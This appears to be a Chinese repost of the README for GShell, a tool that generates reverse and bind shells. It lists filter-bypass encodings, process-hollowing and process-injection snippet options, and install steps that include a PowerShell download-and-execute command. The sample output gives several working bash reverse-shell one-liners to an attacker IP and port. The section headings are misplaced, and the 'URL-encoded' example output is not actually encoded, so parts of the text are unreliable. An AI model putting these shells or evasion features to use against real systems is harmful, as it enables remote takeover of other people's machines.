gstack 源码(一款灵活可扩展的跨平台Shell生成器)
关于GSHELL
GShell是一款功能强大且支持灵活扩展的跨平台Shell生成器,在该工具的帮助下,广大研究人员可以随意生成针对任意平台的任何Shell,并实现完全的自动化和管理控制功能。
支持的操作系统类Unix系统
GNU/Linux
Windows
macOS
支持生成的ShellBind-Shel:目标需要有一个监听端口,然后我们连接到目标主机;
反向Shell:我们又一个监听端口,让目标连接到我们的设备;
支持的编码URL编码:绕过URL过滤器;
Base64/32/16编码:绕过字符串/关键字过滤器;
PowerShell Base64编码;
支持的IP版本IPv4
IPv6
支持的协议TCP
UDP
ICMP
注意:你可以添加你自己使用了其他协议的Shell,比如说DNS。
支持的语言和工具PowerShell
Python
bash
Sh
Perl
Socat
Netcat
Nc
Awk
Lua
NodeJS
OpenSSL
PHP
Ruby
Telnet
Golang
C#
Dart
Groovy
...
上述语言和工具不受任何限制,我们可以根据需要执行添加支持。
Shell相关的内容存储在Markdown文件中,支持随意修改。
我们可以通过向下列文件添加markdown代码块来增加更多的Bind Shell:
shells/bind_shells.md
你还可以通过向下列文件添加markdown代码块来增加更多的反向Shell:
工具下载&安装Linux安装
shells/reverse_shells.md
广大研究人员可以通过下列命令将该项目源码克隆至本地:
git clone https://github.com/nozerobit/gshell.git
安装依赖组件:
python3 -m pIP install -r gshell/requirements.txt
将工具添加到$PATH环境变量中:
sudo ln -s $(pwd)/gshell/gshell.py /usr/local/bin/gshell.py && chmod x /usr/local/bin/gshell.py
执行工具:
Windows安装
gshell.py
通过下列命令将该项目源码克隆至本地:
git clone https://github.com/nozerobit/gshell C:\\Tools
以管理员权限运行命令行工具,并安装chocolatey:
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin
在Windows中安装python 3:
choco install -y python3
安装pip:
python -m pip install --upgrade pip
安装依赖组件:
python -m pip install -r gshell/requirements.txt
切换到项目目录,并运行该工具:
工具使用
cd C:\Tools python gshell.py
工具使用样例生成Bash反向Shell
PS C:\gshell> python .\gshell.py -h usage: gshell.py [-i <IP ADDRESS>] [-p <PORT number>] [-s <SHELL TYPE>] [-r] [-b] [--hollowing] [--injector] [--base64] [--base32] [--base16] [--url] [--no-block] [-l] [-a] [-h] ██████ ███████ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ ███████ ███████ █████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ███████ ██ ██ ███████ ███████ ███████ Generate bind shells and/or reverse shells with style Version: 1.1 Author: nozerobit Twitter: @nozerobit Options: -i <IP ADDRESS>, --ip <IP ADDRESS> 指定IP地址 -p <PORT NUMBER>, --port <PORT NUMBER> 指定端口号 -s <SHELL TYPE>, --shell <SHELL TYPE> 指定Shell类型 (python, nc, bash等) Payload Types: -r, --reverse 反向Shell Payload -b, --bind Bind Shell Payload Snippets Types: --hollowing 打印进程镂空代码段 --injector 打印进程注入代码段 Encoding Options: --base64 添加Base64编码 --base32 添加Base32编码 --base16 添加Base16编码 --url 添加URL编码 Markdown Options: --no-block Skip ``` code blocks ``` while parsing Help Options: -l, --list 枚举所有可用的Shell类型 -a, --advice 打印使用建议和提示 -h, --help 显示帮助信息和退出
编码样例
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash [ ] The IPv4 address: 192.168.111.120 is valid. [ ] The port number: 443 is valid. [ ] Shell type is valid [ ] Preparing reverse shells [ ] Generating bash shells bash -i >& /dev/tcp/192.168.111.120/443 0>&1 ----------------NEXT CODE BLOCK---------------- 0<&196;exec 196<>/dev/tcp/192.168.111.120/443; sh <&196 >&196 2>&196 ----------------NEXT CODE BLOCK---------------- /bin/bash -l > /dev/tcp/192.168.111.120/443 0<&1 2>&1 ----------------NEXT CODE BLOCK---------------- bash -i >& /dev/tcp/192.168.111.120/443 0>&1 ----------------NEXT CODE BLOCK---------------- bash -i >& /dev/udp/192.168.111.120/443 0>&1
许可证协议
PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash --url [ ] The IPv4 address: 192.168.111.120 is valid. [ ] The port number: 443 is valid. [ ] Shell type is valid [ ] Preparing reverse shells [ ] Generating bash shells [ ] Adding URL Encoding bash -i >& /dev/tcp/192.168.111.120/443 0>&1 ----------------NEXT CODE BLOCK---------------- 0<&196;exec 196<>/dev/tcp/192.168.111.120/443; sh <&196 >&196 2>&196 ----------------NEXT CODE BLOCK---------------- /bin/bash -l > /dev/tcp/192.168.111.120/443 0<&1 2>&1 ----------------NEXT CODE BLOCK---------------- bash -i >& /dev/tcp/192.168.111.120/443 0>&1 ----------------NEXT CODE BLOCK---------------- bash -i >& /dev/udp/192.168.111.120/443 0>&1 ----------------NEXT CODE BLOCK----------------
本项目的开发与发布遵循MIT开源许可证协议。
项目地址GShell:https://github.com/nozerobit/gshell
,
免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com